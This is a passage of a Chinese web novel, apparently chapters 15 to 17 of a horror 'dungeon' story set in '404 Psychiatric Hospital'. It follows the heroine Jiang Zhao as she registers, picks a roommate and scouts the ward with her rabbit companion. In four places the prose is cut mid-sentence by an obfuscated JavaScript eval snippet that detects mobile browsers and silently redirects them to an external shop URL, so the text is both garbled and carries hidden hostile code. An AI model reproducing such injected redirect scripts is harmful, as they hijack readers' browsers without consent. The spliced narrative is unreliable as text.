姜照深吸一口气,鼻腔溢满的空气带着医院特有的消毒水刺鼻气味,她觉得自己不能未开战先露怯,遂即调整了一下姿势,挺直脊背,然后众目睽睽之下,昂首挺胸地走向前台。 一路上,她感觉自己就好像某种即将灭绝的稀有动物,所有人视线都齐刷刷跟着她移动,像是无数细小的虫子爬过皮肤,带着探究的、幸灾乐祸的、甚至是不怀好意的打量。 梦回自己无辜背黑锅后还要在公司大会上做检讨,被公司领导轮流劈头盖脸骂一遍以后,还要受到公司全体人员审视的时候。 好在也不是第一次经历这种场面了。 姜照在心里默默想着,自己还算有经验,跟在近百人面前做检讨、被领导轮番训斥比起来,区区十人的注视礼好像也算不得什么。 她甚至还能分出心神,注意到护士身后墙上贴着的那张“入院须知”,泛黄的纸面上印着模糊的字迹,第一条就是“本院实行全封闭管理,患者不得擅自离开医院”。 面不改色地走到护士面前,姜照声音平稳,不卑不亢:“我来了,怎么登记?” 护士没有说话。 她只是僵立在原地,空洞的眼神直勾勾地盯着姜照,目光里没有半分情绪,却又透着一股对姜照回应迟钝、迟迟不配合登记行为的冰冷不满。 姜照没惯着她。 这精神病院又不是她主动要求来的。 他们求着自己进来看病,自己干嘛还要低声下气? 生前在职场上活得小心翼翼、处处卑微,是因为领导攥着自己的薪资命脉,真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372996|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有权利随意开除自己,为了生计她不得不妥协忍让。 但在这里,只要她不违反规则,眼前这个护士就算满心不满,又能拿她怎么样? 姜照缓缓眯起双眸,这么一想,长久以来被现实压抑的情绪骤然变得轻松起来—— 在这生死边缘的副本里,她竟然找回了一丝久违的、可以抛开所有束缚、放开性子肆意胡闹的痛快。 心头念头一转,姜照的底气瞬间更足,她微微扬起下巴,神情理直气壮,半点不怵地迎上护士的目光:“我有病,脑子本来就反应迟钝,迟一会儿来登记怎么了?” 话音落下,护士依旧沉默不语,可她原本空洞无神的眼睛却瞬间变了,涣散的瞳孔骤然紧缩成了一个漆黑细小的黑点,眼白瞬间占据了眼眸的绝大部分,看上去诡异又可怖。 一股毫不掩饰、浓稠刺骨的恶意,毫无征兆地朝着姜照扑面而来。 姜照发誓,她百分百确定,这一刻这个护士是真的想杀死自己。 但她也仅仅是心头一动,并没有太过在意,副本怪物想杀玩家,这又不是什么稀奇事。 而且—— 反正她早已经死过一次了。 现在的主旨就是自己想怎么来就怎么来,生死看淡,不服就干! 姜照连眼皮都懒得抬一下,面不改色地直接搬出护士刚才说过的话,语气里带着一丝不易察觉的挑衅,慢悠悠地催促道:“快点登记吧,你自己刚才也说了,不要浪费时间。” 身后看向姜照的视线更强烈几分。 护士的嘴角猛地抽搐了一下,又很快刻意压制住了所有情绪。 她用那副诡异的眼神盯着姜照看了几秒,才终于动作粗暴地将手中的登记表狠狠甩在姜照面前的前台桌面上,发出“啪”的一声轻响,回荡在空旷的大厅里。 姜照面色坦然,迎着护士那道充满浓烈杀意的视线,从容不迫地拿起笔,潇洒地签下自己的名字,随后顺手拿起一旁的住院用品,脚步轻快地转身,轻飘飘地回到了自己一开始待着的僻静小角落。 这场小小的插曲就此落幕,其余人的登记流程有条不紊地进行着,周遭只剩下笔尖划过纸张的细碎声响,以及偶尔传来的轻微脚步声,气氛又回到了一开始的压抑凝重。 姜照安静待在原地,抬手将肩膀上的伦纳轻轻抱进怀里,指尖温柔地顺着它柔软的毛发,静静听着意识里纯良兔子形象的伦纳,正爆发出压抑不住的暴怒。 “阿照,那个护士居然敢对你这么无礼,要不要我直接出手杀了她,替你出了这口恶气?”伦纳声音里满是戾气,恨不得立刻冲出去教训对方。 姜照却只用一句轻飘飘的话,就轻易终结了伦纳的喋喋不休:“我还没给你的技能充能,你现在,有这个实力吗?” 伦纳的固有技能“疯狂的时刑人”,力量堪称逆天,它本身是由姜照对市场规则的抗拒和不认可性演化而来,天生具备否定一切和市场相关事物的强悍能力,巅峰状态下的一击,甚至可以无视所有规则、因果律,直接砍杀副本内的一切存在。 但是,这么逆天强力的技能,有着严苛的限制——它需要姜照破解副本规则,手动充能解锁。 而眼下,技能的充能进度,是0%。 伦纳瞬间安静。 几秒钟过后,小家伙委屈地哼哼唧唧,找了个姜照臂弯最舒服的位置,将脑袋深深埋进去,彻底蔫蔫地不说话了。 15. 404精神病院,祝您早日出院^…… 姜照看着怀里缩着身子、一脸自闭的伦纳,眼底漾起几分浅淡的笑意,忍不住抬手,动作轻柔地揉了揉他柔软的小脑袋,视线转而投向一旁,其余玩家都已陆陆续续完成登记。 每个人都不约而同地往后走了几步,刻意选了离护士比较远的角落站定,全都屏息凝神,安静等待着副本接下来的安排。 待所有人登记完,护士面无表情地将手中的登记表一一收拢叠放整齐,妥帖放在一旁的柜台上,随即缓缓站起身,冰冷的目光扫视过在场的每一个玩家。 “各位登记事宜已全部完成,接下来进行病房分配。” “本院病房统一为二人间,为尊重患者意愿,你们可以自行挑选室友。” 说完,她刻意顿了顿,原本呆板的语气里带上几分若有若无的警告:“选对病友至关重要,希望有些人,不要因为自己一时的选择,平白招致不必要的无妄之灾。” 话音未落,护士那双带着某种黏腻恶意的眼睛便直直地锁定在姜照身上,原本紧绷的嘴角倏地咧开一个极其怪异的弧度,眼神里的挑衅与不善毫不掩饰。 说的是谁,不言而喻。 姜照迎上那道目光,眉眼淡淡,指尖无意识地卷了卷伦纳的耳朵,压根没打算开口怼回去,反倒觉得无所谓。 如果真的没人愿意和自己一间病房,她反倒乐得清静自在,有乖巧的伦纳和兰姐在,就算独住也不用担心害怕。 没过多久,人群里响起一阵细碎的窃窃私语,很快便有了结果。 原本分散的四个男人迅速两两抱团,毫无悬念地确定了分组,而剩下的三名女生中,有两个看着不过刚上大学年纪的女孩,甚至没有过多言语交流,只是一个眼神交汇,便自然而然地凑到了一起。 姜照对这两个女生还有印象,自己刚踏入这个副本场景的时候留意过其他几个人,当时她们就紧紧挨在一起站着,彼此间时不时会交换一个隐晦的眼神,举止间透着默契,应该是原本就认识的熟人。 就在姜照做好准备一个人一间病房的时候,人群中同样被孤立、没有同伴的女生,缓步朝着她的方向走了过来。 姜照记得刚才登记的时候,护士好像叫她“乔一栗”。 乔一栗脸上扬起一抹温和的笑意,脚步轻轻,语气礼貌又带着几分试探:“你好,请问我们两个可以组队,住一间病房吗?” 她身着一件软糯的粉白色针织开衫,下身搭配一条米色花苞裤,身形娇小,身高约莫一米六出头,还不到一米六五。 一张极具亲和力的娃娃脸,笑起来的时候,脸颊两侧会陷出两个浅浅的梨涡,眉眼弯弯,看起来格外热情甜美,毫无攻击性。 看起来毫无防备,又亲切过头。 是姜照最不擅长应付、也最不愿轻易接触的那类人。 姜照没有立刻答应,也没有直接拒绝,只是语气平和,委婉地提醒道:“跟我同住一间病房,大概率会被刚才那个护士刻意针对,后续可能会有不少麻烦。” “没关系,我不怕。”乔一栗无所谓地摆了摆手,眼神清亮,条理清晰地分析道,“护士特意明确说明病房是二人间,咱们在场的总人数又恰好是偶数,我担心要是落单独自待在病房,会不小心触发副本的违规处罚,到时候后果才更难预料。” 姜照撸毛的动作一顿,抬眼看向乔一栗,眼神里多了几分若有所思,轻声追问:“你的意思是,护士刚才说的那些话,也有可能是副本隐藏的规则?” “没错啊。”乔一栗点了点头,见姜照一脸不解,耐心解释道,“副本等级越高,规则就会越隐蔽,不会再直白地告知玩家,甚至有些副本还会故意放出混淆是非的假规则,误导玩家犯错,所以行动前一定要再三思量清楚。” 说着说着,她反倒渐渐露出几分诧异,反问姜照:“你都已经摸到B级副本的边缘了,难道连这个基本的副本规则常识都不知道吗?” 才开启第二个副本的姜照:“……” 不知道底细的人,还是少暴露自己为好。 姜照神色如常,含糊应付过去:“我经历的副本数量不算多,基本都是独自行动,和别人打交道的情况也比较少,所以了解的情况不多,而且之前在任务大厅上得到的常识手册里,并没有提及这一点。” “你说那个常识册子啊,没写很正常。”乔一栗很好说话,见姜照这么说,丝毫没有多想,反倒热心地一并解释清楚,“那是因为怕误导新人的通关思路,新人入门后一直到成为正式职员的几个副本大概率都是E级,难度普遍偏低,规则也都简单直白,按照副本规则通关就可以,不需要担心别的。” “成为正式职员后,到了D、C级副本,规则虽然会告知玩家,但会表述得很模糊,需要玩家自己深入解读、推敲;而从B-级副本开始,所有规则都不会直接给出,需要玩家自己在场景里寻找、破解。” 听完乔一栗的解释,新手副本就是D级起步的姜照:“……” 怪不得呢。 她进副本之后还一直满心疑惑,无限劳动力市场为什么偏偏选在自己进入第二个副本的时候,才对自己进行全区系统播报,故意给自己拉满仇恨,要是市场真的看不惯她,直接在初始副本就将她淘汰出局不就好了,何必多此一举。 也是直到此刻她才明白,原来自己的初始副本本来就比别人的难度等级提高了。 无限劳动力市场不会在一个注定被淘汰的实习生上浪费时间,可结果她不仅成功通关,还在综合评定后破格转为正式职员,这才引起来后面这些市场对自己的针对。 “这样啊。”姜照面带假笑,心底暗自给无限劳动力市场狠狠记了一笔,“既然你不嫌弃被我连累,那我们就一间病房吧。” 她对乔一栗伸出手:“正式介绍一下,我叫姜照,姜子牙的姜,明照的照,以后你直接叫我名字就行。” “我叫乔一栗,你可以叫我栗子!”乔一栗眉眼弯弯地握住她的手,随后抱着自己的住院用品,快步走到姜照身边,语气轻快地说道,“我也是刚升到B-级副本,咱们两个刚好可以结伴,互相有个照应。” 没必要与人为恶。 姜照刚要点头应下,护士不悦的声音突然猝不及防地响起,硬生生打断了两人的对话:“既然你们都分好房间了,就跟我来吧。” 姜照微微挑眉,不动声色地瞥向护士。 果然不出所料,护士说这句话时,一双阴冷的眼睛正一眨不眨地盯着她和乔一栗,眼神狠厉,仿佛要死死记住这两个自寻死路。之人的模样。 她收回视线,顺势侧脸观察乔一栗的反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378006|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应——后者神色如常,倒真像是不太在意的样子。 很快,所有人跟上护士离开的脚步,姜照和乔一栗默契地刻意放慢脚步,落在队伍末尾。 脱离显眼的位置,乔一栗这才悄悄又靠近姜照几分,看向她的眼神里多了几分真切的崇拜,压低声音赞叹道:“一进副本,你就敢这么硬刚副本关键NPC,也不害怕遭到对方的报复,好厉害。” 姜照此刻内心万马奔腾,很想解释,自己并非故意挑衅,一切不过源于一次走神。 但—— 不那种不用压抑脾气、心头火气顺理成章怼回去的畅快感,真的好爽,下次她还敢! 抱着这样的念头,姜照好心情地凑近几分,学着乔一栗窃窃私语的样子,同样小声回赞:“你靠自己都升到B级副本了,更厉害。” 乔一栗被逗笑,抬手轻轻撞了一下姜照的肩膀:“说什么呢,你不也是靠自己升到B级副本的嘛,也很厉害啊。” 不,这其中的含金量完全不同。 我纯粹是被市场坑到这儿的。 心口再次被残酷的现实插了一刀,姜照一边在心里默默替自己哀悼,一边一脸苦笑地冲乔一栗回以一笑,不再多言。 说话间,一行人随着护士踏入电梯,姜照留意到护士拿出一张白色的工卡先刷了一下,才按下的楼层按钮。 楼层数字跳动到了四楼,电梯门一开,护士便带着他们鱼贯而出,依次分配着各自的病房,两组男士分别被领到了402与409号,另一组女生则进了407号。 姜照与乔一栗被留在了最后。 看着护士嘴角那抹难以掩饰、充满恶意的笑容,姜照大致已经猜出她们要被分配的病房号—— 404号。 护士看着姜照一脸平静地接受了这个结果,心里莫名升起一股不爽,特意上前一步,阴阳怪气地给两人解释了一下这个病房的“特殊”:“好好感谢我吧,我可是把这个和我们医院编号一样的病房,特意留给你们了。” 她刻意停顿了几秒,尾音拖得长长的,满怀恶意地补充:“说不定,这个房间,会有什么额外的‘惊喜’在等着你们呢。” 姜照很听话,说让感谢就感谢,语气中甚至带着一丝真诚:“谢谢。” 见到姜照没如自己所愿被吓到,依旧一副淡定的样子,还对自己说谢谢,护士承认自己被这个新来的病人恶心到了。 她在这个医院干了很久了,知道每隔一段时间,就会有一批“病人”以各种各样奇怪的病因为由住进来,她接待了这么多批病人,见过无数惊慌失措、甚至跪地求饶的,这还是第一次被逼到很想抓着个人质问——这人脑子是真的有病,才进医院的,对吧?! 护士垮着脸,再也没了搭理姜照的兴致,转身就要走。 就在这时,姜照抬手轻轻叫住了她:“等等,先别急着走。” 护士以为姜照终于反应过来,想要央求自己换病房,转身的动作停下来,脸上瞬间露出几分倨傲,说话语气趾高气扬:“别以为现在求饶我就能给你换——” 话未说完,就被姜照及时打断。 只见她眼神坦荡,神情恳切,语气真诚:“我不是来求你换病房的,只是想确认一下,这医院管不管饭?如果管的话,大概几点开饭?” 16. 404精神病院,祝您早日出院^…… 闻言,护士脸上的表情瞬间变得丰富多彩起来,几分错愕、几分无语,还夹杂着一丝难以掩饰的嫌弃,交织在一起,格外精彩。 她好歹也在这家医院工作这么多年,算是个老员工,形形色色的病人见了不计其数,这还是头一回碰到一门心思惦记着饭点的主儿,简直闻所未闻。 像是硬生生吞了只活苍蝇般的膈应感堵在胸口,护士强压着胸腔翻涌的不耐烦,语气冷硬地甩下一句:“自己去看医院给病人安排的时间表。” 说完,她生怕再被姜照叫住纠缠,几乎是迫不及待地转身离开。 短跟高跟鞋踩在光洁的地面上,急促地敲出一连串“哒哒哒”的声响,节奏又快又重,毫不掩饰主人此刻满心离开这个令人厌烦之地的心情。 望着护士头也不回快步离去的背影,姜照丝毫没有自己被嫌弃了的自知之明,只是无所谓地冲乔一栗耸耸肩,一脸无奈地感慨:“你看,身为护士,对病人的基本需求不管不顾,这要是有正规投诉渠道,我铁定要投诉她。” 旁观完发生的所有事情,乔一栗作为一个认知正常、情绪感知也正常的正常人,设身处地代入一下,发现自己居然很能理解护士现在的心情。 她有些同情地看了一眼远处被气得都走楼梯的身影,这才笑着看向姜照,哄道:“好啦,别跟副本NPC一般见识了,咱们还是先看看这间病房吧。” “刚才那个护士说,病房里可能会有什么‘惊喜’,我想先仔细排查一遍房间,看看有没有显眼的规则陷阱,顺便熟悉一下病房结构,真要是出了什么意外,咱们也好及时反应,顺利逃生。” 这话一听,就知道乔一栗通关副本的经验十分丰富,绝非是靠着别人庇护混上来的。 纯新人的姜照有些敬佩地看了一眼乔一栗,率先伸手推开房门:“行,你经验比我丰富,就听你的。” 病房空间不算小,可陈设十分简单,只摆放着两张单人病床,每张床旁配着一个老旧的床头柜,漆面斑驳,看着就有些年头,加之入目一片雪白,反倒显得格外空旷冷清。 再里面则是一扇半开的门,打开后里面是一间还算宽敞的卫生间,不过陈设也十分简单,仅有一个简易洗漱台、一个淋浴喷头,再加一个蹲便器。 整个房间一目了然,几乎没什么可刻意排查的地方,放眼望去,所有角落都清清楚楚。 乔一栗走到两张床头中间的位置,盯着墙上一张微微发黄的纸张,眉头微蹙:“这个房间里有用的信息不多,唯一能参考的,就是这张作息时间表。” “护士说的那个?”姜照来了兴趣,凑上前,目光落在时刻表上,一时没再说话。 “404精神病院患者时刻安排表: 9:00-10:00起床、洗漱、吃药 10:00-11:30患者自由活动时间 11:30-12:30午饭时间 12:30-14:00午休时间 14:00-16:00花园集体活动时间 16:00-18:30自由活动时间 18:30-19:30晚饭时间 19:30-20:30吃药、查房时间 21:00-次日9:00夜间休息时间(注:夜间每两个小时查房一次)。” 乔一栗见她面色严肃,久久盯着表格不放,以为是有什么不好的发现,低声问道:“怎么,是觉得有什么不妥吗?” “不是。”姜照郑重其事地摇摇头,随即抬手指了指时刻表对面墙上的挂钟,“现在是下午四点,还有两个半小时,就到晚饭时间了。” 乔一栗一时语塞:“……” 她还是第一次见到对吃饭执念这么深的人。 她忍不住好奇:“你很饿吗?” “不仅饿,还渴。”姜照伸手揉了揉隐隐有些不适的胃,语气带着几分无奈,“副本外面休息区的东西贵得离谱,我舍不得买里面的食物,只买了个最便宜的硬面包,勉强垫了两口。” 乔一栗同情地看了一眼姜照:“你说那个面包啊,干硬地简直让人难以下咽,没想到你会为了省积分,这么拼。” 说到这里,乔一栗想起姜照对副本常识的匮乏,又好心提醒:“不过,有时候也不要为了省积分,真的不去那里吃饭,之前也有很多人像你一样,为了省积分,选择进副本找吃的,结果次数多了,被市场检测到,就会直接安排那种大逃杀副本。” “进副本前没补充能量,拖着又饿又渴、疲惫不堪的身体,再遇上拼体力、几乎没有补给的大逃杀副本,玩家基本就是死路一条。” “而且,不是所有副本里的食物都能放心吃,有些副本里,食物本身就是致死因,所以——” 乔一栗神色凝重起来:“别想着耍小聪明钻空子,不按照市场定下的规则执行,今天你省下一顿饭钱、一天住宿费,可能明天等待你的,可能就是副本里的死亡。” 听了这么多,姜照一句话精准总结:“说白了就是拉动市场内需,强制消费呗。” “透过现象看本质,你总结得挺到位。”乔一栗赞赏地看了一眼姜照,觉得就她这种实话实说的性格,不被针对就有鬼了。 “羊毛出在羊身上,横竖都是坑,不这样,怎么逼着玩家不停下副本。”姜照冷笑一声。 乔一栗耸耸肩,不愿再聊这些晦气话题:“不说这些了,这里有两张床,你想选哪一张?” 姜照没有丝毫犹豫,她出差住酒店向来习惯靠窗的位置:“里面靠窗那张吧。” “好。”乔一栗麻利地将没什么用处的住院用品塞进床底,“按时间表现在是自由活动时间,咱们应该出去找线索,但是没有方便随身携带的表,万一耽误了时间没按时回来,恐怕会很麻烦。” “没事,我有表。”姜照抬手把肩头的伦纳举到乔一栗面前。 伦纳立刻心领神会,小爪子揣了揣,从蓬松厚实的绒毛里掏出一只精致的怀表,样式和之前细剑手柄上的那只十分相似。 乔一栗眼睛瞬间亮了起来,满眼星星地盯着这只通人性的兔子,忍不住感叹:“这兔子也太聪明了吧,是你的职员专属技能吗?” “算是吧,快到点它会提醒我们。”姜照没有多做解释,又让伦纳把怀表收了回去,“不过,你确定要跟我一起行动吗?” “当然了!咱们都是刚进B级副本的人,难度肯定比之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17383583|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前经历的副本高上不少,两个人一起更稳妥。”乔一栗冲她眨了眨眼,笑着说,“别看我外表这样,其实我很能打的,真遇上危险,说不定还能保护你。” 话音刚落,姜照还没开口,安静窝在她肩头的伦纳先不乐意了,两只长耳朵猛地一抖,小下巴高高扬起,一张小兔脸写满了不屑与不服。 姜照随手拍了拍它的脑袋安抚,随即说道:“那走吧,先去看看这层楼的结构。” 刚才在楼梯间时姜照就留意过,这栋楼一共九层,而他们所在的四楼是个格外微妙的位置,如果不提前摸清布局,不管危险从哪一层袭来,四楼都不是一个便于躲避、或是能拖延时间的地方。 乔一栗也正是这个意思,两人没有多耽误,立刻推门出去。 她们沿着走廊仔细观察,很快发现不对劲儿,这里和寻常医院的喧闹嘈杂截然不同,安静得近乎诡异,除了两人轻微的脚步声,其他多余的声响一点儿都没有。 姜照看着周围一扇扇紧闭严实、连观察小窗都没有的病房门,忍不住皱眉:“你说,这些病房里真的都有病人吗?” “不清楚,但现在规则还不明确,我建议别轻举妄动,免得直接撞上贴脸杀。”乔一栗一眼瞥见姜照跃跃欲试想去开门的手,连忙出声劝阻。 “行吧。”姜照是个选择性听人劝的主儿,在顺利吃上晚饭之前,她决定暂且猥琐发育,不主动作死。 先前分配房间的时候,姜照就注意到这个医院的布局比普通医院大得多,单是走廊宽度就接近十米,整体呈回字形环绕。 更奇怪的是,房间号并非按顺序排列,一同进入副本的四组玩家,被恰巧分散在了不同的走廊区域。 其中,又当属姜照他们这间房距离楼梯口最远,真要到了逃命的时候,很不方便。 两人快步逛完一层楼,大概不到半个小时的时间,也不知是不是运气太差,全程不仅没见到一个病人,就连一同进入副本的其他玩家,也一个都没碰到。 “一个人都没遇上,也太奇怪了。”乔一栗打量着四周,有些不安地说道。 “说不定是其他人更谨慎,没敢随便出来。”姜照对旁人的动向并不在意,转而提议,“过来的时候我注意到,值班室就在电梯和楼梯口旁边,离这儿不远,咱们提前去探探,晚上出来找线索、上下楼的时候,也好避开NPC。” 乔一栗没有异议,两人很快走到标着“值班室”的房门前,这扇门同样没有观察窗,是个完全封闭的空间。 “也不知道这里有没有隐藏监控,会不会值班室本身就是个监控室?”姜照想起以前看过的恐怖影视剧情,觉得这种看起来就关键的地方绝不能放过,凑近乔一栗耳边,用气声大胆提议道,“咱俩要不要试试进去看看?” 乔一栗这次没有轻易答应,同样压低声音说出顾虑:“我怕里面有人,咱们这么贸然闯进去,万一触犯了什么副本规则就糟了。” 姜照觉得乔一栗说得十分在理,也不勉强:“那你躲到楼梯那边,我来动手。” 乔一栗还想再劝几句,可看姜照一副兴致勃勃、势在必行的样子,最终还是依言照做,乖乖蹲在楼梯口隐蔽处,做好随时策应的准备。 17. 404精神病院,祝您早日出院^…… 姜照确认乔一栗已经藏好身形,这才微微侧过脸,对着肩头的伦纳压低声音,飞快耳语了几句。 楼梯口与值班室虽然只有几步之遥,可姜照说话的声音极轻,乔一栗半个字也没能听见。 她只看见姜照说完,便将肩膀上那只白兔轻轻放到地上,那团毛茸茸的影子在惨白的灯光下缩成小小一团,像是一捧即将融化的雪。 紧接着,姜照以迅雷不及掩耳之势把值班室的门推开一道极细的缝隙,随即脚下发力,转身以百米冲刺般扑到乔一栗身边躲好,身体紧贴楼梯扶手,屏息凝神观察着动静。 伦纳就这么突然被孤零零抛下,一只兔独自蹲在值班室门前,两只长耳朵垂在脑后,红宝石似的眼睛在并不充裕的光线照耀下泛着湿润的光,小小一团,像个被遗弃的棉花团子。 乔一栗:“……” 她突然不知道自己该说什么了,只是觉得伦纳此时看起来有些可怜的小小身影透着股“风萧萧兮易水寒”的悲壮,伟岸得让她良心隐隐作痛。 她沉默片刻,终究还是忍不住凑到姜照耳边,声音带着几分同情:“它还这么小,你就忍心把它一只兔丢在那儿?” 姜照正盯着值班室的方向,闻言头也没回:“没事,我的员工很能干,不用担心。” 浑然不觉,此刻在乔一栗眼里,自己活脱脱就是个不顾下属死活、只会疯狂压榨的黑心领导。 话音刚落,姜照忽然觉得肩膀一阵发痒。 不是布料摩擦的轻痒,更像是有什么东西,正隔着衣料,轻轻触碰着她。 她不自在地动了动身子,只当是乔一栗太过担心才碰了自己,开口安抚:“真没事,你放宽心,不用紧张得一直碰我肩膀。” 乔一栗闻言眉头一蹙,满脸茫然:“我没碰你啊,你在说什么呢——” 话音戛然而止。 姜照也意识到不对,两人僵硬地对视一眼,不约而同地咽了口唾沫,脖颈如同生了锈一般,缓慢地一下一下转向头—— 身后,不知道什么时候,正静静站着一名身着白大褂的男医生。 姜照猛地倒抽一口冷气,心率瞬间飙升到二百,眼睛瞪得滚圆,死死盯着眼前的人,指甲深深掐进掌心,硬生生把到了嘴边的惊呼咽了回去。 一旁的乔一栗也好不到哪里去。 这还是她头一回在副本开局不到一小时,就被疑似关键NPC的诡异存在直接贴脸,心脏狂跳不止,手悄悄背到身后,时刻准备凝聚起专属技能,准备一旦情势不对,便拼死一搏,寻机让她们两人脱身。 “你们两个在这里干什么?”突然出现的医生对两人骤然惨白的脸色视若无睹,声音死板而冰冷。 “为什么不好好待在病房?一直看着我的值班室门口——”他顿了顿,漆黑的视线在两人脸上逡巡几秒,“是那里有什么东西吗?” 致命三连问砸下来,但对方却没有立刻动手,说明她们两人应该没有触犯必死规则,还有周旋的余地。 姜照脑子转得极快,几乎是脱口而出,声音比想象中更淡定:“你是医生,反倒来问我们想干什么?怎么不先说说你们医院做了什么?” 她紧张地抿抿唇,越说越理直气壮,甚至往前踏了半步,语气带着几分刻意装出来的蛮横:“把我们扔进来之后就不管不问,你知不知道我快饿死了?万一饿出什么三长两短,你们医院负得起这个责任吗?” 医生没有接话,那双漆黑的眼睛直勾勾钉在姜照脸上,像是某种冷血动物在打量猎物。 乔一栗被晾在一旁罚站,忍不住为姜照捏了把冷汗 姜照硬着头皮与他对视,后背的冷汗已经浸透了衣料。 她知道这种时候绝不能退缩,又咽了咽口水,继续咄咄逼人:“怎么不说话?你也觉得你们医院做得过分了?” 说着,她抬手按在腹部,借着刚才被吓出的一身冷汗,故意装作一副十分不舒服的样子,有气无力地呻吟:“哎哟,突然感觉胃好疼……我不会真的被你们医院饿出什么问题吧?” 医生这才缓缓开口,语气平淡得令人发毛:“放心,我就是来通知你们进行身体检查的,如果真的有问题,我们一定及时为你治疗。” 说着是治疗,听着像送葬。 这就不必了。 姜照干笑着打了个哈哈,默默收回按在肚子上的手,没有应下这句话:“哈哈,既然这样,那我们赶紧走吧。” “不急。”医生淡淡瞥了姜照一眼,冰冷的目光像是看穿了她所有的小把戏,“我先去检查一下我的值班室。” 话音落下,他径直绕过两人身侧,步伐从容地走上四楼,朝着值班室走去。 乔一栗呼吸骤然一紧,连忙转头望向值班室门口,却发现哪里还有伦纳的影子,连那道被推开的门缝也已严丝合缝地关好。 她匪夷所思地看向姜照,就见对方抹了一把额头被吓出的冷汗,随即冲她灿烂一笑,小声道:“我不都说了吗,我的兔子员工很能干的,放心,除非这个医生的感知敏锐到离谱,否则绝对发现不了异常。” 事实果然如姜照所说,医生打开值班室的门,探进身往里面看了许久,又谨慎地走进去四处翻查,里面时不时传来翻箱倒柜的声响,还有一声极轻的、像是困惑的“啧”。 确认没有任何异样后,医生这才走出来,目光在乖乖候在一旁的两人脸上扫了一圈,冷声吩咐:“我去通知其他新入院的病人,你们两个先在此等候。” 姜照与乔一栗连忙乖巧点头。 等那道白大褂的身影彻底消失在楼梯转角,乔一栗这才用肩膀轻轻撞了撞姜照:“要不要趁这个机会,把你的兔子从值班室接出来?” 姜照对伦纳的能力丝毫不担心,之前他有向自己坦白过,即便是在能力被封的情况下,他的身手虽杀不死副本怪物,但也足以保自己安全无虞:“先不用了,让他自己在里面找找线索吧,等他找得差不多了,自己会循着气息来找我的。” 乔一栗闻言,看向值班室的目光里顿时多了几分羡慕:“那你这兔子也太厉害了吧,我也好想有一只。” “必须厉害!”姜照扬起下巴,一副与有荣焉的骄傲,“而且还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386785|200018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更厉害的你不知道呢,后续有机会给你展示。” 乔一栗欣然比了个“OK”的手势,然后又有些忧愁地叹了口气:“也不知道等会儿的身体检查会是什么,不会趁机搞什么奇怪的身体改造吧?” “不知道。”姜照眯了眯眼,“不过应该不至于太危险,应该不会有副本开局就送玩家团灭的吧?” “我也说不准。”乔一栗叹了口气,“我也才到B级,高级副本的事知道的不是很多,但是之前我经历的那些副本不会这样,也从来没听过类似一进副本就团灭的传闻。” “那就是没什么大事。”姜照看得很开,“往好处想,说不定检查完,就能去吃饭了。” 乔一栗:“……” 医生回来的很快,身后还跟着之前一同进入副本的两女四男,看到姜照和乔一栗乖乖站在值班室门口,几人脸上的神色瞬间精彩纷呈。 “你们两个也跟上,准备去七楼做身体检查。”医生冷冷扫了两人一眼,随即按下电梯按钮。 这一次,姜照和乔一栗没能如愿缩在角落。 电梯狭小的空间里,所有人的目光都如同探照灯一般,齐刷刷落在她们身上,仿佛要将两人刚才的一举一动、查到的蛛丝马迹全都看穿。 姜照不太习惯这种被长时间注视的感觉,后背绷得笔直。 好在不过三楼的时间,电梯“叮”的一声到达。 医生率先出电梯门,带着几人去往检查室:“一会儿轮流进行身体检查,检查很简单,只是做个脑部CT和心理咨询,放轻松即可。” 姜照囫囵听着,没有着急跟上队伍,而是福至心灵地朝着身后的楼梯口看去——在她看过去的时候,两只雪白的兔耳朵恰巧从楼梯口的阴影里探出来,还俏皮地轻轻抖了抖。 姜照忍不住低笑出声,手背在身后,朝伦纳悄悄招了招手。 熟悉的温热感很快攀上肩膀,毛茸茸的尾巴扫过她的颈侧,像是某种无声的安抚。 确定自己不用孤身一人去看病,姜照又好心情地勾了勾嘴角,心想着后续一定要奖励一下伦纳,这才快步追上前方的队伍。 